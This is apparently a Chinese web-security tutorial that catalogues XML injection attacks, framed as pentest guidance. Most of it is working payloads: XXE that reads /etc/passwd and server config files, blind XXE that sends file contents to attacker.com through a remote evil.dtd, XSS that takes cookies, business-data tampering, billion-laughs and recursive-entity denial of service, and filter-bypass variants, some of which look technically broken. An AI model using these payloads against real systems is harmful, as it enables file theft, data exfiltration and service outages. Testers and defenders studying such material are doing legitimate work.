【Web安全】XML注入全手法拆解

文章目录

  • 前言
  • [1 XML注入核心前提](#1 XML注入核心前提)
    • [1.1 核心触发条件](#1.1 核心触发条件)
    • [1.2 核心攻击入口](#1.2 核心攻击入口)
    • [1.3 核心概念](#1.3 核心概念)
  • [2 XXE实体注入:信息窃取/内网探测](#2 XXE实体注入:信息窃取/内网探测)
    • [2.1 有回显XXE:直接读取本地文件](#2.1 有回显XXE:直接读取本地文件)
    • [2.2 盲XXE:带外通道窃取数据(无回显)](#2.2 盲XXE:带外通道窃取数据(无回显))
    • [2.3 参数实体绕过:突破解析器过滤](#2.3 参数实体绕过:突破解析器过滤)
  • [3 元素/属性篡改注入:业务逻辑突破](#3 元素/属性篡改注入:业务逻辑突破)
    • [3.1 新增特权元素:普通用户提权](#3.1 新增特权元素:普通用户提权)
    • [3.2 修改属性值:绕过业务校验](#3.2 修改属性值:绕过业务校验)
    • [3.3 覆盖原有元素:篡改业务数据](#3.3 覆盖原有元素:篡改业务数据)
  • [4 CDATA标签绕过注入:突破字符过滤](#4 CDATA标签绕过注入:突破字符过滤)
  • [5 XML DOS注入:拒绝服务攻击](#5 XML DOS注入:拒绝服务攻击)
    • [5.1 递归实体注入:栈溢出DOS](#5.1 递归实体注入:栈溢出DOS)
    • [5.2 超大嵌套实体注入:内存溢出DOS](#5.2 超大嵌套实体注入:内存溢出DOS)
    • [5.3 大量重复节点:CPU耗尽DOS](#5.3 大量重复节点:CPU耗尽DOS)
  • [6 XML注入实战绕过技巧](#6 XML注入实战绕过技巧)
    • [6.1 大小写混合绕过](#6.1 大小写混合绕过)
    • [6.2 HTML实体编码绕过](#6.2 HTML实体编码绕过)
    • [6.3 关键字拆分绕过](#6.3 关键字拆分绕过)
    • [6.4 注释插入绕过](#6.4 注释插入绕过)
    • [6.5 编码格式绕过](#6.5 编码格式绕过)
    • [6.6 空字节截断绕过](#6.6 空字节截断绕过)
  • [7 特殊的Content-Type漏洞](#7 特殊的Content-Type漏洞)
    • [7.1 探测隐藏的XML解析功能](#7.1 探测隐藏的XML解析功能)
    • [7.2 利用XXE漏洞](#7.2 利用XXE漏洞)
    • [7.3 实体膨胀攻击](#7.3 实体膨胀攻击)
    • [7.4 自动化尝试](#7.4 自动化尝试)
  • [8 XML注入实战检测要点](#8 XML注入实战检测要点)

前言

关于 XXE 漏洞的安全实践请参考文章,本文聚焦实战中 XML 注入的手法总结。

1 XML注入核心前提

1.1 核心触发条件

应用程序直接解析用户可控的XML数据,且未做以下安全处理:

  1. 未禁用外部实体、未限制DTD解析;
  2. 未对XML节点/属性做白名单验证;
  3. 未限制XML数据的大小、实体深度、节点数量;
  4. 未过滤XML中的特殊关键字/恶意标签。

1.2 核心攻击入口

所有接收XML格式数据的位置:

  • Content-Type为application/xml/text/xml的接口请求体;
  • 支持XML文件上传的功能;
  • 对接第三方的XML数据接收端;
  • 可配置XML的后台表单、配置项。

1.3 核心概念

  • 实体:XML中可复用的内容定义,分内部/外部/参数实体,是XXE和DOS的核心利用点;
  • DTD:XML文档类型定义,用于声明实体,多数注入手法需通过DTD实现;
  • CDATA:XML的特殊标签,内部内容不会被解析器转义,用于绕过字符过滤;
  • 递归/嵌套实体:实体自引用或多层互相引用,解析时占用大量资源,是XML DOS的核心手法。

2 XXE实体注入:信息窃取/内网探测

XXE是XML注入危害最高的手法,核心是通过实体引用让解析器加载本地/远程资源,分有回显、盲注、参数实体绕过三类场景。

2.1 有回显XXE:直接读取本地文件

手法 :构造外部实体引用本地文件,解析器加载后将文件内容回显在响应中;
Payload

xml 复制代码
<!-- Linux系统:读取/etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

<!-- Windows系统:读取win.ini -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<root>&file;</root>

<!-- 读取配置文件:如Java的application.properties -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY conf SYSTEM "file:///usr/local/tomcat/conf/server.xml">
]>
<root>&conf;</root>

场景 :XML解析接口的响应直接返回解析后的内容;
测试要点:提交后查看响应体,包含文件内容则漏洞存在,仅返回节点名则为盲注场景。

2.2 盲XXE:带外通道窃取数据(无回显)

手法 :无直接回显时,通过DNSlog/HTTP带外通道将窃取的文件内容发送到攻击者服务器;
Payload

xml 复制代码
<!-- DNSlog盲XXE:替换为自己的DNSlog域名 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY dns SYSTEM "http://your-dnslog-domain.ceye.io">
]>
<root>&dns;</root>

<!-- HTTP盲XXE:第一步,攻击者服务器新建evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY ex SYSTEM 'http://attacker.com/log?data=%file;'>">
%send;

<!-- HTTP盲XXE:第二步,构造XML Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
]>
<root>&ex;</root>

场景 :XML解析接口无数据回显,仅返回成功/失败状态;
测试要点:查看DNSlog/HTTP服务器日志,有解析请求/数据提交则漏洞存在。

2.3 参数实体绕过:突破解析器过滤

手法 :通过参数实体嵌套绕过普通实体过滤;
Payload

xml 复制代码
<!-- 参数实体绕过:有回显,读取Linux文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % paramEntity SYSTEM "file:///etc/passwd">
    <!ENTITY normalEntity "%paramEntity;">
]>
<root>&normalEntity;</root>

<!-- 参数实体绕过:盲注,对接DNSlog -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % dns SYSTEM "http://your-dnslog-domain.ceye.io">
    %dns;
]>
<root></root>

场景 :普通XXE Payload被拦截;
测试要点:提交后触发文件读取/带外请求则过滤仅针对普通实体。

3 元素/属性篡改注入:业务逻辑突破

手法 :新增/修改/覆盖XML的元素/属性,篡改解析后的业务数据;
Payload

3.1 新增特权元素:普通用户提权

xml 复制代码
<!-- 原合法XML -->
<?xml version="1.0" encoding="UTF-8"?>
<user>
    <name>test</name>
    <pwd>123456</pwd>
    <role>user</role>
</user>

<!-- 注入Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<user>
    <name>test</name>
    <pwd>123456</pwd>
    <role>user</role>
    <admin>true</admin>
    <permission>all</permission>
</user>

3.2 修改属性值:绕过业务校验

xml 复制代码
<!-- 原合法XML -->
<?xml version="1.0" encoding="UTF-8"?>
<order>
    <id>12345</id>
    <amount>100</amount>
    <status>unpaid</status>
</order>

<!-- 注入Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<order>
    <id>12345</id>
    <amount>0</amount>
    <status>paid</status>
</order>

3.3 覆盖原有元素:篡改业务数据

xml 复制代码
<!-- 原合法XML -->
<?xml version="1.0" encoding="UTF-8"?>
<comment>
    <goodsId>666</goodsId>
    <content>好评</content>
    <score>5</score>
</comment>

<!-- 注入Payload -->
<?xml version="1.0" encoding="UTF-8"?>
<comment>
    <goodsId>666</goodsId>
    <content>商品质量极差,虚假宣传</content>
    <score>1</score>
</comment>

场景 :XML用于业务数据传输;
测试要点:提交后业务数据被篡改则漏洞存在。

4 CDATA标签绕过注入:突破字符过滤

手法 :通过CDATA标签包裹恶意内容,绕过特殊字符/恶意标签过滤;
Payload

xml 复制代码
<!-- CDATA绕过:过滤<>&,执行XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <![CDATA[
        <!DOCTYPE test [
            <!ENTITY file SYSTEM "file:///etc/passwd">
        ]>
        &file;
    ]]>
</root>

<!-- CDATA绕过:过滤<script>,注入XSS -->
<?xml version="1.0" encoding="UTF-8"?>
<user>
    <nickname>
        <![CDATA[
            test<script>alert(document.cookie)</script>
        ]]>
    </nickname>
</user>

<!-- CDATA嵌套绕过:过滤CDATA标签 -->
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <![CDATA[
        <![CDATA[
            <!ENTITY file SYSTEM "file:///c:/windows/win.ini">
        ]]>
        &file;
    ]]>
</root>

场景 :包含特殊字符/恶意标签的XML被拦截;
测试要点:触发XXE/跨站/数据篡改则过滤未覆盖CDATA标签。

5 XML DOS注入:拒绝服务攻击

手法:构造特殊XML数据,耗尽服务器CPU、内存、栈空间;

5.1 递归实体注入:栈溢出DOS

xml 复制代码
<!-- 递归实体 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY a "&b;">
    <!ENTITY b "&a;">
]>
<root>&a;</root>

<!-- 多层递归实体 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY a "&b;">
    <!ENTITY b "&c;">
    <!ENTITY c "&d;">
    <!ENTITY d "&a;">
]>
<root>&a;</root>

测试要点:提交后响应超时/服务不可用则漏洞存在。

5.2 超大嵌套实体注入:内存溢出DOS

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz[
    <!ENTITY lol "Lol">
    <!ENTITY lolb "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;">
    <!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;">
    <!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;">
    <!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;">
    <!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;">
    <!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;">
    <!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;">
]>
<attack>&loli;</attack>

测试要点:服务器内存使用率骤升则漏洞存在。

5.3 大量重复节点:CPU耗尽DOS

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <node>1</node>
    <node>2</node>
    <node>3</node>
    <node>4</node>
    <node>5</node>
    <!-- 实际可生成10000+个<node>节点 -->
    <node>9999</node>
    <node>10000</node>
</root>

测试要点:服务器CPU满载则漏洞存在。

6 XML注入实战绕过技巧

6.1 大小写混合绕过

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!dOcTyPe root [
    <!eNtItY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

6.2 HTML实体编码绕过

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
&#60;!DOCTYPE root [
    &#60;!ENTITY file SYSTEM "file:///etc/passwd"&#62;
]&#62;
<root>&file;</root>

6.3 关键字拆分绕过

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY s "SY">
    <!ENTITY t "STEM">
    <!ENTITY file "&s;&t;" "file:///etc/passwd">
]>
<root>&file;</root>

6.4 注释插入绕过

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY file SY<!-- comment -->STEM "file:///etc/passwd">
]>
<root>&file;</root>

6.5 编码格式绕过

xml 复制代码
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE root [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>&file;</root>

6.6 空字节截断绕过

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY file SYSTEM "file:///etc/passwd\x00/test">
]>
<root>&file;</root>

7 特殊的Content-Type漏洞

7.1 探测隐藏的XML解析功能

  1. 拦截正常JSON请求(Content-Type为application/json);
  2. 修改Content-Type为application/xmltext/xml
  3. 将JSON请求体转换为符合服务端预期的XML结构(如包装根节点);
  4. 提交后若返回正常数据,证实接口支持XML解析。

7.2 利用XXE漏洞

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?><!DOcTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
>
<root>
<type>encrypted_data</type><data>&xxe;</data>
</root>

7.3 实体膨胀攻击

xml 复制代码
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;">
<!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;">
<!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;">
<!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;">
<!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;">
<!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;">
<!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;">
<!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;">
]>
<attack>&loli;</attack>

7.4 自动化尝试

利用Burp Suite插件(如Content-Type Converter),将XML解析器报错信息加入HAE插件自定义扫描规则,提高漏洞命中率。

8 XML注入实战检测要点

  1. 抓包定位所有XML格式接口/上传点,确认Content-Type;
  2. 提交通用有回显XXE Payload,判断是否有回显、是否被过滤;
  3. 提交DNSlog盲XXE Payload,查看带外通道日志;
  4. 提交多层嵌套实体DOS Payload,查看服务器响应时间/资源占用;
  5. 被过滤时,依次使用大小写、编码、CDATA等绕过技巧测试;
  6. 提交元素/属性篡改Payload,验证业务逻辑是否被突破。

本文是「Web安全基础」系列内容,点击专栏导航查看全部系列内容。

相关推荐
QT.qtqtqtqtqt7 小时前
未授权访问漏洞
网络·安全·web安全
ShoreKiten7 小时前
ctfshowweb359-360
web安全·ssrf
ba_pi9 小时前
每天写点什么2026-02-04(2.1)信息安全
安全·web安全
菩提小狗10 小时前
小迪安全2023-2024|第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载_笔记|web安全|渗透测试|
笔记·安全·web安全
迎仔17 小时前
11-云网络与混合云运维:弹性数字世界的交通管理
网络·安全·web安全
pitch_dark17 小时前
渗透测试系统基础篇——kali系统
网络·安全·web安全
独行soc17 小时前
2026年渗透测试面试题总结-20(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
国科安芯17 小时前
抗辐照MCU在精密时频系统中的单粒子效应评估与可靠性验证
单片机·嵌入式硬件·架构·制造·安全性测试
黑客老李1 天前
web渗透实战 | js.map文件泄露导致的通杀漏洞
安全·web安全·小程序·黑客入门·渗透测试实战